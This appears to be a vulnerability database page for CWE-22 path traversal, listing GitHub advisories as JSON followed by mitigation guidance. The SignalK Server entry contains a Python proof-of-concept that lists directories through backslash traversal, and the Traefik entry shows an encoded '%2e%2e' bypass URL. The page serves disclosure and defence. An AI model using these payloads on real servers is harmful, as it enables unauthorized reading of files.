CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13064 vulnerabilities reference this CWE, most recent first.
GHSA-VR5W-V4J5-6636
Vulnerability from github – Published: 2022-04-13 00:00 – Updated: 2022-04-21 00:00A highly privileged remote attacker, can gain unauthorized access to display contents of restricted directories by exploiting insufficient validation of path information in SAP Focused Run (Simple Diagnostics Agent 1.0) - version 1.0.
{
"affected": [],
"aliases": [
"CVE-2022-27657"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-12T17:15:00Z",
"severity": "MODERATE"
},
"details": "A highly privileged remote attacker, can gain unauthorized access to display contents of restricted directories by exploiting insufficient validation of path information in SAP Focused Run (Simple Diagnostics Agent 1.0) - version 1.0.",
"id": "GHSA-vr5w-v4j5-6636",
"modified": "2022-04-21T00:00:53Z",
"published": "2022-04-13T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27657"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3159091"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/167563/SAP-FRUN-Simple-Diagnostics-Agent-1.0-Directory-Traversal.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2022/Jun/41"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VR83-QGHG-2W85
Vulnerability from github – Published: 2022-05-17 05:20 – Updated: 2025-04-11 04:03Multiple directory traversal vulnerabilities in the BackWPup plugin before 1.4.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the wpabs parameter to (1) app/options-view_log-iframe.php or (2) app/options-runnow-iframe.php.
{
"affected": [],
"aliases": [
"CVE-2011-5208"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-10-08T18:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in the BackWPup plugin before 1.4.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the wpabs parameter to (1) app/options-view_log-iframe.php or (2) app/options-runnow-iframe.php.",
"id": "GHSA-vr83-qghg-2w85",
"modified": "2025-04-11T04:03:31Z",
"published": "2022-05-17T05:20:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-5208"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/fulldisclosure/2011-02/0663.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43565"
},
{
"type": "WEB",
"url": "http://wordpress.org/extend/plugins/backwpup/changelog"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/71242"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/71243"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VR8X-74PM-6VJ7
Vulnerability from github – Published: 2024-05-01 10:01 – Updated: 2024-05-01 10:01Summary
A path traversal vulnerability via the plugin repository name allows an authenticated attacker to delete files on the server leading to unavailability and potentially data loss.
Details
Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login. Before a plugin is downloaded, the plugin installation directory is checked for existence. If it exists, it's removed before the plugin installation.
Because the plugin is not validated against the official list of plugins or sanitized, the check for existence and the removal of the plugin installation directory are prone to path traversal.
Impact
This vulnerability allows an authenticated attacker to delete files from the server Uptime Kuma is running on. Depending on which files are deleted, Uptime Kuma or the whole system may become unavailable due to data loss.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.22.0"
},
"package": {
"ecosystem": "npm",
"name": "uptime-kuma"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-36822"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-01T10:01:02Z",
"nvd_published_at": "2023-07-05T22:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\nA path traversal vulnerability via the plugin repository name allows an authenticated attacker to delete files on the server leading to unavailability and potentially data loss.\n\n### Details\nUptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.\nBefore a plugin is downloaded, the plugin installation directory is checked for existence. If it exists, it\u0027s removed before the plugin installation.\n\nBecause the plugin is not validated against the official list of plugins or sanitized, the check for existence and the removal of the plugin installation directory are prone to path traversal.\n\n### Impact\nThis vulnerability allows an authenticated attacker to delete files from the server Uptime Kuma is running on.\nDepending on which files are deleted, Uptime Kuma or the whole system may become unavailable due to data loss.\n",
"id": "GHSA-vr8x-74pm-6vj7",
"modified": "2024-05-01T10:01:02Z",
"published": "2024-05-01T10:01:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vr8x-74pm-6vj7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36822"
},
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/pull/3346"
},
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/commit/a0736e04b2838aae198c2110db244eab6f87757b"
},
{
"type": "PACKAGE",
"url": "https://github.com/louislam/uptime-kuma"
},
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/blob/de74efb2e6601dcbcfed32cddefc4078a80fcb0b/server/plugins-manager.js#L75-L80"
},
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/releases/tag/1.22.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uptime Kuma\u0027s authenticated path traversal via plugin repository name may lead to unavailability or data loss"
}
GHSA-VR8X-P7WP-76WH
Vulnerability from github – Published: 2022-05-17 04:19 – Updated: 2022-05-17 04:19Directory traversal vulnerability in install/popup.php in Exponent CMS before 2.2.0 RC1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the page parameter.
{
"affected": [],
"aliases": [
"CVE-2013-3295"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-30T02:59:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in install/popup.php in Exponent CMS before 2.2.0 RC1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the page parameter.",
"id": "GHSA-vr8x-p7wp-76wh",
"modified": "2022-05-17T04:19:02Z",
"published": "2022-05-17T04:19:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3295"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23154"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VR98-27QJ-3C8Q
Vulnerability from github – Published: 2020-07-29 18:07 – Updated: 2023-09-05 23:31This affects all versions of package rollup-plugin-dev-server. There is no path sanitization in readFile operation inside the readFileFromContentBase function.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "rollup-plugin-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7686"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-07-29T17:46:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "This affects all versions of package rollup-plugin-dev-server. There is no path sanitization in `readFile` operation inside the `readFileFromContentBase` function.",
"id": "GHSA-vr98-27qj-3c8q",
"modified": "2023-09-05T23:31:52Z",
"published": "2020-07-29T18:07:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7686"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-ROLLUPPLUGINDEVSERVER-590124"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directory traversal in rollup-plugin-server"
}
GHSA-VRCH-868G-9JX5
Vulnerability from github – Published: 2025-05-28 14:25 – Updated: 2025-11-27 08:04Impact
There is a potential vulnerability in Traefik managing the requests using a PathPrefix, Path or PathRegex matcher.
When Traefik is configured to route the requests to a backend using a matcher based on the path, if the URL contains a URL encoded string in its path, it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.
Example
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: my-service
spec:
routes:
- match: PathPrefix(‘/service’)
kind: Rule
services:
- name: service-a
port: 8080
middlewares:
- name: my-middleware-a
- match: PathPrefix(‘/service/sub-path’)
kind: Rule
services:
- name: service-a
port: 8080
In such a case, the request http://mydomain.example.com/service/sub-path/%2e%2e/other-path will reach the backend my-service-a without operating the middleware my-middleware-a unless the computed path is http://mydomain.example.com/service/other-path and should be computes by the first router (operating my-middleware-a).
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.25
- https://github.com/traefik/traefik/releases/tag/v3.4.1
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary Path traversal with "/../" using URL encodings ("/%2e%2e") allows for circumventing routing rules. ### Details When having defined a route, you can path traverse using the URL encoded variant of /../ and reach endpoints that are not made publicly available. This issue has been found and fixed earlier with regular /../ and has been fixed in this CVE. This URL encoding trick works around that https://nvd.nist.gov/vuln/detail/CVE-2025-32431 Simply implementing a check on the URL encoding won't be sufficient as path traversal can take numerous formats. See examples here: https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html ### PoC Setup a service with two endpoints: "/public" and "/private", which returns a 200 OK for both Setup a Traefik proxy with a single route which points to the service using path /public Regular requests to traefik /public will return 200 OK and to /private should return 404 (response by Traefik) When making a request to /public/%2e%2e/private you should receive a 200 OK. ### Impact Impacts all traefik implementations with path prefix routes that expose only part of the downstream api ### Suggestion Provide configuration property which disables all path traversals. Steps: 1. Decode URL 2. Evaluate and construct relative path (do traversal before route evaluation) 3. Compare relative/evaluated path to configured routes (PathPrefix/pathRegexp){
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.25"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47952"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-28T14:25:09Z",
"nvd_published_at": "2025-05-30T04:15:46Z",
"severity": "LOW"
},
"details": "## Impact\n\nThere is a potential vulnerability in Traefik managing the requests using a `PathPrefix`, `Path` or `PathRegex` matcher.\n\nWhen Traefik is configured to route the requests to a backend using a matcher based on the path, if the URL contains a URL encoded string in its path, it\u2019s possible to target a backend, exposed using another router, by-passing the middlewares chain.\n\n## Example\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: my-service\nspec:\n routes:\n - match: PathPrefix(\u2018/service\u2019)\n kind: Rule\n services:\n - name: service-a\n port: 8080\n middlewares:\n - name: my-middleware-a\n - match: PathPrefix(\u2018/service/sub-path\u2019)\n kind: Rule\n services:\n - name: service-a\n port: 8080\n```\n\nIn such a case, the request `http://mydomain.example.com/service/sub-path/%2e%2e/other-path` will reach the backend `my-service-a` without operating the middleware `my-middleware-a` unless the computed path is `http://mydomain.example.com/service/other-path` and should be computes by the first router (operating `my-middleware-a`).\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.25\n- https://github.com/traefik/traefik/releases/tag/v3.4.1\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n### Summary\n\nPath traversal with \"/../\" using URL encodings (\"/%2e%2e\") allows for circumventing routing rules. \n\n### Details\n\nWhen having defined a route, you can path traverse using the URL encoded variant of /../ and reach endpoints that are not made publicly available. This issue has been found and fixed earlier with regular /../ and has been fixed in this CVE. This URL encoding trick works around that\nhttps://nvd.nist.gov/vuln/detail/CVE-2025-32431\n\nSimply implementing a check on the URL encoding won\u0027t be sufficient as path traversal can take numerous formats. See examples here:\nhttps://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html\n\n### PoC\n\nSetup a service with two endpoints: \"/public\" and \"/private\", which returns a 200 OK for both\nSetup a Traefik proxy with a single route which points to the service using path /public\n\nRegular requests to traefik /public will return 200 OK and to /private should return 404 (response by Traefik)\nWhen making a request to /public/%2e%2e/private you should receive a 200 OK.\n\n### Impact\nImpacts all traefik implementations with path prefix routes that expose only part of the downstream api\n\n### Suggestion\nProvide configuration property which disables all path traversals. Steps:\n1. Decode URL\n2. Evaluate and construct relative path (do traversal before route evaluation)\n3. Compare relative/evaluated path to configured routes (PathPrefix/pathRegexp)\n\u003c/details\u003e",
"id": "GHSA-vrch-868g-9jx5",
"modified": "2025-11-27T08:04:33Z",
"published": "2025-05-28T14:25:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-vrch-868g-9jx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47952"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/08d5dfee0164aa54dd44a467870042e18e8d3f00"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.25"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Traefik allows path traversal using url encoding"
}
GHSA-VRF8-X8C6-HVGW
Vulnerability from github – Published: 2021-12-08 00:01 – Updated: 2021-12-09 00:01There is a Improper Limitation of a Pathname to a Restricted Directory vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may lead to arbitrary file created.
{
"affected": [],
"aliases": [
"CVE-2021-37064"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-07T17:15:00Z",
"severity": "CRITICAL"
},
"details": "There is a Improper Limitation of a Pathname to a Restricted Directory vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may lead to arbitrary file created.",
"id": "GHSA-vrf8-x8c6-hvgw",
"modified": "2021-12-09T00:01:37Z",
"published": "2021-12-08T00:01:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37064"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202109-0000001196270727"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VRFG-F44J-G5C7
Vulnerability from github – Published: 2022-05-14 03:04 – Updated: 2022-05-14 03:04The vulnerability exists within css.inc.php in Schneider Electric U.motion Builder software versions prior to v1.3.4. The 'css' parameter contains a directory traversal vulnerability.
{
"affected": [],
"aliases": [
"CVE-2018-7763"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-03T14:29:00Z",
"severity": "MODERATE"
},
"details": "The vulnerability exists within css.inc.php in Schneider Electric U.motion Builder software versions prior to v1.3.4. The \u0027css\u0027 parameter contains a directory traversal vulnerability.",
"id": "GHSA-vrfg-f44j-g5c7",
"modified": "2022-05-14T03:04:22Z",
"published": "2022-05-14T03:04:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7763"
},
{
"type": "WEB",
"url": "https://www.schneider-electric.com/en/download/document/SEVD-2018-095-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VRFQ-G4FQ-7QWR
Vulnerability from github – Published: 2023-11-30 18:31 – Updated: 2023-11-30 18:31The default configuration of Aquaforest TIFF Server allows access to arbitrary file paths, subject to any restrictions imposed by Internet Information Services (IIS) or Microsoft Windows. Depending on how a web application uses and configures TIFF Server, a remote attacker may be able to enumerate files or directories, traverse directories, bypass authentication, or access restricted files.
{
"affected": [],
"aliases": [
"CVE-2023-6352"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-30T18:15:08Z",
"severity": "MODERATE"
},
"details": "The default configuration of Aquaforest TIFF Server allows access to arbitrary file paths, subject to any restrictions imposed by Internet Information Services (IIS) or Microsoft Windows. Depending on how a web application uses and configures TIFF Server, a remote attacker may be able to enumerate files or directories, traverse directories, bypass authentication, or access restricted files.\n\n\n",
"id": "GHSA-vrfq-g4fq-7qwr",
"modified": "2023-11-30T18:31:19Z",
"published": "2023-11-30T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6352"
},
{
"type": "WEB",
"url": "https://github.com/qwell/disorder-in-the-court/blob/main/README-TylerTechnologies.md"
},
{
"type": "WEB",
"url": "https://www.aquaforest.com/blog/aquaforest-tiff-server-sunsetting"
},
{
"type": "WEB",
"url": "https://www.aquaforest.com/blog/tiff-server-security-update"
},
{
"type": "WEB",
"url": "https://www.aquaforest.com/wp-content/uploads/pdf/ts/TiffServer4.2.pdf"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/alerts/2023/11/30/multiple-vulnerabilities-affecting-web-based-court-case-and-document-management-systems"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VRHW-V2HW-JFFX
Vulnerability from github – Published: 2026-02-02 22:26 – Updated: 2026-02-03 16:13Summary
A Path Traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory.
Details
Platform: Windows (Linux only allows traversal up a single directory) Authentication Required: Yes (ability to write depends on user's permission)
The vulnerability exists in the validateAppId() function within the applicationData API handler. This function validates the appid parameter but only checks for forward slashes:
// Simplified vulnerable code pattern
function validateAppId(appid) {
if (appid.includes('/') || appid.length >= 30) {
return false;
}
return true;
}
// Later used in path construction
const dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);
Root Cause:
- The validation only blocks / characters
- On Windows, path.join() uses the platform's native path separator
- Windows treats both / and \ as valid directory separators
- Backslash-based traversal sequences like ..\..\.. pass validation
- When path.join() processes these on Windows, each .. traverses up one directory level
PoC
#!/usr/bin/env python3
import argparse
import http.client
import json
import sys
from urllib.parse import urlparse
PREFIX = "/signalk/v1/applicationData"
def raw_get(base, path, token):
"""
GET using http.client so that '..' and backslashes in the URL
are sent literally (requests/urllib would normalise them away).
"""
parsed = urlparse(base)
host, port = parsed.hostname, parsed.port or 80
conn = http.client.HTTPConnection(host, port)
conn.request("GET", path, headers={"Authorization": f"Bearer {token}"})
resp = conn.getresponse()
status = resp.status
body = resp.read().decode("utf-8", errors="replace")
conn.close()
return status, body
def main():
ap = argparse.ArgumentParser(description="Signal K Windows path traversal PoC")
ap.add_argument("--target", required=True, help="e.g. http://192.168.1.100:3000")
ap.add_argument("--token", required=True, help="any valid JWT token")
args = ap.parse_args()
base = args.target.rstrip("/")
# On Windows, path.join(configPath, "applicationData", "users", id, appid)
# resolves each '..' upward when separated by backslashes.
#
# Depth from base (configPath/applicationData/users/):
# .. → applicationData/users/ (1 level)
# ..\.. → applicationData/ (2 levels)
# ..\..\.. → configPath (.signalk) (3 levels)
# ..\..\..\.. → user home directory (4 levels)
traversals = [
("..\\..\\..\\", ".signalk config directory"),
("..\\..\\..\\..\\", "user home directory"),
]
for appid, description in traversals:
path = f"{PREFIX}/user/{appid}"
status, body = raw_get(base, path, token, args.token)
print(f"[{status}] {description}")
print(f" GET {path}")
if status == 200:
try:
entries = json.loads(body)
for entry in entries:
print(f" {entry}")
except json.JSONDecodeError:
print(f" {body[:200]}")
else:
print(f" {body[:200]}")
print()
if __name__ == "__main__":
main()
Reproduction Steps:
- Set up SignalK Server on a Windows machine
- Obtain a valid device or user authentication token
- Run the PoC script:
bash python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token <YOUR_TOKEN>
Recommended Fix
Short-term:
1. Add backslash validation to validateAppId():
javascript
function validateAppId(appid) {
if (appid.includes('/') || appid.includes('\') || appid.length >= 30) {
return false;
}
return true;
}
- Use
path.normalize()and validate that resolved paths remain within the intended directory:javascript const resolvedPath = path.normalize(path.join(baseDir, appid)); if (!resolvedPath.startsWith(path.normalize(baseDir))) { throw new Error('Invalid path'); }
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.20.2"
},
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.20.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25228"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T22:26:31Z",
"nvd_published_at": "2026-02-02T23:16:10Z",
"severity": "MODERATE"
},
"details": "### Summary\nA Path Traversal vulnerability in SignalK Server\u0027s `applicationData` API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The `validateAppId()` function blocks forward slashes (`/`) but not backslashes (`\\`), which are treated as directory separators by `path.join()` on Windows. This enables attackers to escape the intended `applicationData` directory.\n\n### Details\n**Platform**: Windows (Linux only allows traversal up a single directory)\n**Authentication Required**: Yes (ability to write depends on user\u0027s permission)\n\nThe vulnerability exists in the `validateAppId()` function within the applicationData API handler. This function validates the `appid` parameter but only checks for forward slashes:\n\n```javascript\n// Simplified vulnerable code pattern\nfunction validateAppId(appid) {\n if (appid.includes(\u0027/\u0027) || appid.length \u003e= 30) {\n return false;\n }\n return true;\n}\n\n// Later used in path construction\nconst dataPath = path.join(configPath, \u0027applicationData\u0027, \u0027users\u0027, deviceId, appid);\n```\n\n**Root Cause:**\n- The validation only blocks `/` characters\n- On Windows, `path.join()` uses the platform\u0027s native path separator\n- Windows treats both `/` and `\\` as valid directory separators\n- Backslash-based traversal sequences like `..\\..\\..` pass validation\n- When `path.join()` processes these on Windows, each `..` traverses up one directory level\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport argparse\nimport http.client\nimport json\nimport sys\nfrom urllib.parse import urlparse\n\nPREFIX = \"/signalk/v1/applicationData\"\n\n\ndef raw_get(base, path, token):\n \"\"\"\n GET using http.client so that \u0027..\u0027 and backslashes in the URL\n are sent literally (requests/urllib would normalise them away).\n \"\"\"\n parsed = urlparse(base)\n host, port = parsed.hostname, parsed.port or 80\n conn = http.client.HTTPConnection(host, port)\n conn.request(\"GET\", path, headers={\"Authorization\": f\"Bearer {token}\"})\n resp = conn.getresponse()\n status = resp.status\n body = resp.read().decode(\"utf-8\", errors=\"replace\")\n conn.close()\n return status, body\n\n\ndef main():\n ap = argparse.ArgumentParser(description=\"Signal K Windows path traversal PoC\")\n ap.add_argument(\"--target\", required=True, help=\"e.g. http://192.168.1.100:3000\")\n ap.add_argument(\"--token\", required=True, help=\"any valid JWT token\")\n args = ap.parse_args()\n\n base = args.target.rstrip(\"/\")\n\n # On Windows, path.join(configPath, \"applicationData\", \"users\", id, appid)\n # resolves each \u0027..\u0027 upward when separated by backslashes.\n #\n # Depth from base (configPath/applicationData/users/):\n # .. \u2192 applicationData/users/ (1 level)\n # ..\\.. \u2192 applicationData/ (2 levels)\n # ..\\..\\.. \u2192 configPath (.signalk) (3 levels)\n # ..\\..\\..\\.. \u2192 user home directory (4 levels)\n\n traversals = [\n (\"..\\\\..\\\\..\\\\\", \".signalk config directory\"),\n (\"..\\\\..\\\\..\\\\..\\\\\", \"user home directory\"),\n ]\n\n for appid, description in traversals:\n path = f\"{PREFIX}/user/{appid}\"\n status, body = raw_get(base, path, token, args.token)\n\n print(f\"[{status}] {description}\")\n print(f\" GET {path}\")\n\n if status == 200:\n try:\n entries = json.loads(body)\n for entry in entries:\n print(f\" {entry}\")\n except json.JSONDecodeError:\n print(f\" {body[:200]}\")\n else:\n print(f\" {body[:200]}\")\n print()\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n**Reproduction Steps:**\n\n1. Set up SignalK Server on a Windows machine\n2. Obtain a valid device or user authentication token\n3. Run the PoC script:\n ```bash\n python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token \u003cYOUR_TOKEN\u003e\n ```\n\n### Recommended Fix\n\n**Short-term:**\n1. Add backslash validation to `validateAppId()`:\n ```javascript\n function validateAppId(appid) {\n if (appid.includes(\u0027/\u0027) || appid.includes(\u0027\\\u0027) || appid.length \u003e= 30) {\n return false;\n }\n return true;\n }\n ```\n\n2. Use `path.normalize()` and validate that resolved paths remain within the intended directory:\n ```javascript\n const resolvedPath = path.normalize(path.join(baseDir, appid));\n if (!resolvedPath.startsWith(path.normalize(baseDir))) {\n throw new Error(\u0027Invalid path\u0027);\n }\n ```",
"id": "GHSA-vrhw-v2hw-jffx",
"modified": "2026-02-03T16:13:32Z",
"published": "2026-02-02T22:26:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-vrhw-v2hw-jffx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25228"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/9bcf61c8fe2cb8a40998b913a02fb64dff9e86c7"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SignalK Server has Path Traversal leading to information disclosure"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
